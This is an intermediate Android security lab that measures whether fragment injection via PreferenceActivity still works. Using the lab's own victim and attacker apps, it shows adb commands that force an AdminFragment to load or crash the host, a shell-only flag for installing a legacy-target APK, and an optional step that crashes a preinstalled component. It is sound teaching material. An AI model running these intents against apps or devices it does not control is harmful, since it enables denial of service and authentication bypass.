Lab 02 — Is it still exploitable?¶
Difficulty: Intermediate Time: 90–120 minutes You will need: a device or emulator you own,
adb, an Android SDK with build-tools, a JDK,dexdump(ships with build-tools), Python 3, and the apps from../examples/. Prerequisite: Lab 01. You must have landed the injection once before the questions in this lab mean anything.
Why this lab exists, and why its outcome is not fixed¶
Lab 01 proved that one app is vulnerable, because you wrote that app. This lab asks a harder question that no article can answer for you:
On the device in front of me, in this year, what does the platform actually do?
Ask ten sources whether fragment injection still works and you will get "it was fixed in KitKat", "it only affects old apps", "it is a legacy issue", and "it is still exploitable" — all four, confidently, with no measurements. This chapter's own answer has three parts and every one of them was measured rather than remembered. Your job here is to reproduce that measurement and to report what your device did, which may not be what this chapter's did.
Part 4 has an optional step that crashes a preinstalled component on your own device. It is marked, it is transient, and it should be run on an emulator, not on a phone you rely on. Nothing is installed, modified or exfiltrated by it. See SECURITY.md for the handling rules.
Objectives¶
- Read
isValidFragmentout of your device's own framework, rather than trusting a description. - Determine the
targetSdkVersionthreshold compiled into it. - Determine the lowest
targetSdkVersionyour device will install, and see why that is the number that actually decides reachability. - Reach all three gate states — permissive, throwing, and delegated — and record which are reachable on your build.
- Explain the difference between "the code path exists" and "an app can get there", and write both halves into a conclusion.
Background: the three states¶
A PreferenceActivity subclass is in exactly one of three states when
:android:show_fragment arrives.
| State | Condition | Result |
|---|---|---|
| A | no isValidFragment override, targetSdk < 19 |
gate returns true, any Fragment loads |
| B | no override, targetSdk >= 19 |
RuntimeException, the host crashes |
| C | an override exists | whatever the override says — a blank cheque |
Lab 01 lived entirely in state C, because that is where every real app lives. This lab visits A and B, which are the states that determine whether the platform is still part of the problem.
Part 1 — Read the gate out of your own device¶
Nothing in this part is on the device's screen. It is all in framework.jar.
Step 1.1 — Pull the framework¶
# host
mkdir -p /tmp/ch31-fw && cd /tmp/ch31-fw
adb pull /system/framework/framework.jar .
ls -l framework.jar
Reference run:
/system/framework/framework.jar: 1 file pulled ... (43302820 bytes in 0.854s)
-rw-r--r-- 1 user user 43302820 framework.jar
Forty-three megabytes. That is real code, not a stub — on some builds the framework lives only in the
boot image and this file is small or absent, in which case pull
/apex/com.android.art/javalib/*.jar and repeat.
Step 1.2 — Extract the DEX files¶
# host
python3 -B -c "
import zipfile
z = zipfile.ZipFile('framework.jar')
names = [n for n in z.namelist() if n.endswith('.dex')]
print(names)
for n in names:
open(n, 'wb').write(z.read(n))
"
['classes.dex', 'classes2.dex', 'classes3.dex', 'classes4.dex', 'classes5.dex']
Step 1.3 — Find PreferenceActivity¶
# host -- dexdump ships in build-tools
DD=$ANDROID_HOME/build-tools/35.0.1/dexdump
for d in classes*.dex; do
if "$DD" "$d" 2>/dev/null | grep -q "Landroid/preference/PreferenceActivity;"; then
echo "PreferenceActivity is in $d"
fi
done
On the reference device: classes3.dex. Yours may differ; the framework's DEX split is not stable
across builds.
Step 1.4 — Read the gate¶
# host
"$DD" -d classes3.dex > d3.txt
grep -A 35 "name : 'isValidFragment'" d3.txt | head -45
You are looking for this, and you should read every instruction:
0000: invoke-virtual {v3}, ...PreferenceActivity;.getApplicationInfo:()Landroid/content/pm/ApplicationInfo;
0003: move-result-object v0
0004: iget v0, v0, Landroid/content/pm/ApplicationInfo;.targetSdkVersion:I
0006: const/16 v1, #int 19
0008: if-ge v0, v1, 000c
000a: const/4 v0, #int 1
000b: return v0
000c: new-instance v0, Ljava/lang/RuntimeException;
0013: const-string v2, "Subclasses of PreferenceActivity must override isValidFragment(String) ..."
003c: throw v0
Record the constant at offset 0006. On the reference device it is #int 19. That number is the
threshold, and reading it out of the device is the difference between knowing it and having been told
it.
Under the Hood The dump also prints
hiddenapi: 0x0020 (SDK,TEST-API), which tells you the method is ordinary public API and is not subject to the hidden-API restrictions. And itspositionstable gives source line numbers, so thePreferenceActivity.java:964you will see in a crash stack later maps to theconst/16 v1, #int 19you are reading now. When a stack trace and a disassembly agree, you know you are reading the code that ran.
Step 1.5 — Read the loader, and note the ordering¶
# host -- Fragment.instantiate lives in a different dex; find it the same way
for d in classes*.dex; do
"$DD" "$d" 2>/dev/null | grep -q "Class descriptor : 'Landroid/app/Fragment;'" && echo "$d"
done
Disassemble it and find the two instructions that matter:
0019: invoke-virtual {v3, v2}, Ljava/lang/Class;.isAssignableFrom:(Ljava/lang/Class;)Z <-- TYPE CHECK
0052: invoke-virtual {v4, v3}, Ljava/lang/reflect/Constructor;.newInstance:(...) <-- CONSTRUCTOR
0x19 < 0x52. The platform checks the type before it runs the constructor. Keep that; lab 03
measures what happens when a loader does it the other way round.
Step 1.6 — Run the probe script¶
# host
cd /path/to/31-Fragments/scripts
./preference-gate-probe.sh
Section 2 of its output lists installed packages with targetSdk < 19. On a stock Android 15 image
that list is empty, and an empty list is a result: no package on this device can reach state A
through the normal path.
Part 2 — State B: the gate that crashes¶
Step 2.1 — Build with the default targetSdk¶
If you did lab 01 you already have this build. If not:
# host
cd ../examples && ./build.sh --install
Step 2.2 — Attack LegacySettingsActivity¶
../examples/victim-app/LegacySettingsActivity.java is a PreferenceActivity subclass with no
isValidFragment override at all — the 2013 shape, unmodified.
# host
adb shell am force-stop com.pentest.ch31.victim
adb logcat -c
adb shell am start -S -n com.pentest.ch31.attacker/.InjectActivity --es attack pref-legacy
sleep 3
adb logcat -d | grep -E "CH31 |RuntimeException|at android.preference" | head -12
I CH31 : LegacySettingsActivity.onCreate targetSdk=35 showFragment=com.pentest.ch31.victim.AdminFragment
E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{...LegacySettingsActivity}:
java.lang.RuntimeException: Subclasses of PreferenceActivity must override isValidFragment(String)
to verify that the Fragment class is valid! ...LegacySettingsActivity has not checked if fragment
com.pentest.ch31.victim.AdminFragment is valid.
at android.preference.PreferenceActivity.isValidFragment(PreferenceActivity.java:964)
at android.preference.PreferenceActivity.switchToHeaderInner(PreferenceActivity.java:1240)
at android.preference.PreferenceActivity.switchToHeader(PreferenceActivity.java:1277)
at android.preference.PreferenceActivity.onCreate(PreferenceActivity.java:601)
State B, reached from an ordinary app uid. No injection — and a crash any app can trigger on demand.
Notice PreferenceActivity.java:964. That is the line the positions table pointed at in step 1.4.
Your reading of the bytecode and the device's own stack trace are describing the same instruction.
Step 2.3 — What is this worth?¶
Write it down before reading on, then compare:
- It is not data disclosure. Nothing was loaded.
- It is reachable by any installed application, with no permission.
- It is repeatable, and the user sees "app keeps stopping".
- It is the platform behaving correctly. The app chose an API whose refusal path is an uncaught exception.
A defensible rating is Low to Medium, and the remediation is not "override isValidFragment" —
returning false produces an IllegalArgumentException from switchToHeaderInner instead, which
you saw in lab 01's control B. The only complete remediation is to stop extending
PreferenceActivity. README §5.4.
Part 3 — State A: can a legacy app still exist?¶
This is the part that updates the classic story, and it has two halves that must not be collapsed.
Step 3.1 — Try to install a legacy app the normal way¶
# host
cd ../examples
for ts in 17 22 23; do
OUTDIR=/tmp/ch31-ts$ts MIN_SDK=14 TARGET_SDK=$ts ./build.sh >/dev/null 2>&1
echo -n "targetSdk=$ts -> "
adb install -r /tmp/ch31-ts$ts/victim-app/victim-app.apk 2>&1 | tail -1
done
Reference run on API 35:
targetSdk=17 -> Failure [INSTALL_FAILED_DEPRECATED_SDK_VERSION: App package must target at least SDK version 24, but found 17]
targetSdk=22 -> Failure [INSTALL_FAILED_DEPRECATED_SDK_VERSION: App package must target at least SDK version 24, but found 22]
targetSdk=23 -> Failure [INSTALL_FAILED_DEPRECATED_SDK_VERSION: App package must target at least SDK version 24, but found 23]
Record the floor your device reports. Android 14 refused below 23; Android 15 refuses below 24. It rises with each release.
Now put the two numbers next to each other:
gate opens below targetSdk : 19
install floor : 24
The gate's permissive branch sits five levels below the lowest installable target. For any app a user can install normally, state A is unreachable. That is the sentence the 2013 write-ups cannot contain, because the install floor did not exist yet.
Step 3.2 — Now reach it anyway, and note exactly how¶
# host
adb uninstall com.pentest.ch31.victim
adb push /tmp/ch31-ts17/victim-app/victim-app.apk /data/local/tmp/ch31ts17.apk
adb shell "pm install -r --bypass-low-target-sdk-block /data/local/tmp/ch31ts17.apk"
adb shell rm -f /data/local/tmp/ch31ts17.apk
adb shell "dumpsys package com.pentest.ch31.victim | grep -m1 targetSdk"
Success
versionCode=0 minSdk=14 targetSdk=17
Warning — this is a SHELL capability, and the distinction is the whole result
pm install --bypass-low-target-sdk-blockis available toadb shell(uid 2000). An application cannot install anything at all, and no app store will distribute atargetSdk17 APK. So the population that can reach state A is preinstalled and vendor packages, and deliberate sideloads, not ordinary applications.Record both halves. Reporting only the install failure would call a live code path dead. Reporting only the bypass would imply a reachability that does not exist for normal apps.
Step 3.3 — Deal with the permission review dialog¶
The first am start after installing a legacy-target app will probably appear to succeed and do
nothing:
# host
adb shell am start -n com.pentest.ch31.victim/.MainActivity
adb shell "dumpsys window" | grep mCurrentFocus
mCurrentFocus=Window{... com.google.android.permissioncontroller/
com.android.permissioncontroller.permission.ui.ReviewPermissionsActivity}
An app targeting below API 23 gets its runtime permissions in REVIEW_REQUIRED state, and the
platform interposes a review screen before the app runs. am start returned success and the app
never started.
This is exactly the failure 51-DynamicAnalysis recorded — a void run and a clean negative produce identical reports — and it will bite you again. Dismiss it:
# host -- find the Continue button rather than guessing coordinates
adb shell uiautomator dump /sdcard/ui.xml >/dev/null
adb shell cat /sdcard/ui.xml | tr '>' '\n' | grep -oE 'text="[^"]*"|bounds="[^"]*"' | paste - -
# then tap the centre of the Continue bounds, e.g.
adb shell input tap 1300 2941
adb shell rm -f /sdcard/ui.xml
Step 3.4 — Reach state A¶
# host
adb shell am start -n com.pentest.ch31.victim/.MainActivity ; sleep 2 # seeds the vault
adb shell am force-stop com.pentest.ch31.victim
adb logcat -c
adb shell am start -S -n com.pentest.ch31.attacker/.InjectActivity --es attack pref-legacy
sleep 4
adb logcat -d -s CH31
I CH31: LegacySettingsActivity.onCreate targetSdk=17 showFragment=com.pentest.ch31.victim.AdminFragment
W CH31: ADMIN-FRAGMENT-REACHED secret=CH31{fragment_injection_skipped_the_login_screen}
The same Activity that crashed in part 2 now injects. Not one line of the app's code changed —
only the targetSdkVersion in its manifest. The developer made no mistake at all; the platform's
default did the work.
Step 3.5 — Restore¶
# host
adb uninstall com.pentest.ch31.victim
cd ../examples && ./build.sh --install
adb shell "dumpsys package com.pentest.ch31.victim | grep -m1 targetSdk" # expect targetSdk=35
Part 4 — Does this shape exist in real software? (optional)¶
Everything so far used an app you wrote. This part looks at the device's own.
# host
cd /path/to/31-Fragments/scripts
mkdir -p /tmp/ch31-corpus
./pull-apk-corpus.sh /tmp/ch31-corpus
python3 -B fragment-injection-scan.py /tmp/ch31-corpus --recursive | tail -20
Lab 04 does this properly, with adjudication. For now note only the tier 2 count, and pick one
PreferenceActivity subclass with no override that the scanner reports.
Optional and destructive-ish — emulator only Sending
:android:show_fragmentto an exported, unhardened preinstalled component reproduces state B against software you did not write. It crashes that component's process; the system restarts it. Do this on an emulator, not on a phone you rely on, and do not do it on a device you do not own.# device shell (uid 2000) -- a SHELL measurement, and label it as one in any notes adb logcat -c adb shell am start -n <package>/<the exported subclass> \ --es ":android:show_fragment" "com.pentest.ch31.victim.AdminFragment" adb logcat -b crash -d -t 20 | grep -E "FATAL|isValidFragment"On the reference device this produced the same
RuntimeExceptionyou saw in part 2, in a preinstalled telephony component. That is a shell measurement. The app-vantage proof of the same primitive is part 2, against your own victim.
Part 5 — The other half of the question: your AndroidX version¶
Parts 1 to 4 answered what does the platform do. Almost no app you assess uses the platform Fragment, so there is a second question with a completely different answer: what does the Fragment library the app actually ships do?
The platform's version is fixed by the device. AndroidX's is pinned by the app, so two apps on the same device can behave differently, and an app can be years behind.
Step 5.1 — Find the version an app ships¶
# host -- AndroidX writes its version into the APK's metadata
unzip -l /tmp/ch31-victim.apk | grep -i 'fragment'
unzip -p <some real app>.apk META-INF/androidx.fragment_fragment.version 2>/dev/null
Not every app ships that marker (R8 can strip it, and some builds never emit it), so the fallback is
structural: look for androidx/fragment/app/FragmentFactory in the DEX. If it is not there under
that name, the app is either not using AndroidX Fragments or has minified them (§6.3 of the README
explains why the second case is the common one and why it is a genuine blind spot).
Step 5.2 — Check the ordering in that version¶
# host -- any fragment-*.aar you have; Android Studio's Gradle cache has several
find ~/.gradle -name 'fragment-*.aar' 2>/dev/null | head
python3 -B -c "
import sys, zipfile
z = zipfile.ZipFile(sys.argv[1])
open('/tmp/axfrag.jar','wb').write(z.read('classes.jar'))
print('extracted classes.jar')
" <the aar>
javap -c -p -classpath /tmp/axfrag.jar androidx.fragment.app.FragmentFactory \
| sed -n '/loadFragmentClass/,/^$/p'
You are looking for two things, and both were present in every version checked while writing this chapter:
loadFragmentClasscompiles toloadClass+areturnwith nocheckcast. The generic cast is erased, so the method returns whateverClass.forNamereturned.- In
instantiate, the onlycheckcast androidx/fragment/app/Fragmentsits afterConstructor.newInstance.
Record the version you checked, because that is what makes the claim citable:
androidx.fragment version checked : ____________
loadFragmentClass has checkcast : yes / no
checkcast offset in instantiate : ____
newInstance offset in instantiate : ____
Step 5.3 — Why this belongs in the same lab¶
Because "is it still exploitable?" has two independent answers and people conflate them.
Platform Fragment |
AndroidX Fragment |
|
|---|---|---|
| Version fixed by | the device | the app |
| Gate on the reflective path | isValidFragment, on PreferenceActivity only |
none — there is no equivalent |
| Type check ordering | before the constructor | after it |
| Findable by name after R8 | yes (framework names) | no |
The platform half has a gate that a modern targetSdk forces the developer to think about. The
AndroidX half has no gate at all — because AndroidX never shipped an Activity that loads a Fragment
from an Intent, so there was nothing to gate. The primitive is still sitting there for any app that
wires it up itself, which is exactly what lab 03 is about.
Success criteria¶
- The threshold constant read out of your device's
framework.jar, with the surrounding instructions. - The AndroidX ordering confirmed from a real
fragment-*.aar, with the version recorded. - The
isAssignableFrom/newInstanceoffsets showing the platform's check-then-construct ordering. - The install floor your device reports, from at least two
targetSdkVersionvalues. - State B reproduced from an app uid, with the stack trace.
- State A reproduced, with an explicit note that installing the APK required a shell-only flag.
- A sentence explaining why the install floor, not
isValidFragment, is what closed state A. - The device restored to the
targetSdk35 build.
Write the conclusion¶
The point of this lab is that "is fragment injection still exploitable?" has a three-part answer and you can now defend all three parts. Something like:
On
, the PreferenceActivityreflective path is unchanged:onCreatereads:android:show_fragment,switchToHeaderInnerconsultsisValidFragmentand then callsFragment.instantiate, and the gate's base implementation returnstruebelowtargetSdk19 and throws at or above it — verified against the device's ownframework.jar. The permissive branch is not reachable for normally installed applications, because this build refuses to install anything belowtargetSdk24; it remains reachable for preinstalled, vendor and deliberately sideloaded packages, which I demonstrated usingpm install --bypass-low-target-sdk-block(a shell capability, not an application one). The case that is fully exploitable today is an override that does not check, which is a property of the application and not of the platform, and which I demonstrated separately in lab 01.
Troubleshooting¶
| Symptom | Cause | Fix |
|---|---|---|
framework.jar is tiny or missing |
Framework lives in the boot image on this build | Pull /apex/com.android.art/javalib/*.jar and repeat |
dexdump not found |
Not on PATH |
$ANDROID_HOME/build-tools/<version>/dexdump |
grep finds no isValidFragment |
Wrong DEX | Loop over all classes*.dex; the split is not stable |
| Legacy install "succeeds" but the app never runs | Permission review dialog | Step 3.3 |
--bypass-low-target-sdk-block rejected as an unknown option |
Older platform | The floor did not exist before API 28; note it and move on |
-26: ... doesn't support runtime permissions but the old target SDK does |
You are downgrading over an existing install | adb uninstall first |
State A run shows vault unreadable: ENOENT |
You never launched MainActivity on this install |
Launch it once to seed the file; the injection itself still worked |
Clean up¶
# host
cd ../examples && ./build.sh --uninstall
rm -rf /tmp/ch31-fw /tmp/ch31-ts17 /tmp/ch31-ts22 /tmp/ch31-ts23 /tmp/ch31-corpus
adb shell ls /data/local/tmp | grep ch31 # expect nothing
Where to go next¶
- Lab 03 — Beyond PreferenceActivity: the same bug class in an
app that has never heard of
PreferenceActivity, which is where you will actually meet it. - README §3.9 for the full measured account of the three states.
- README §3.11 for the version matrix these measurements populate.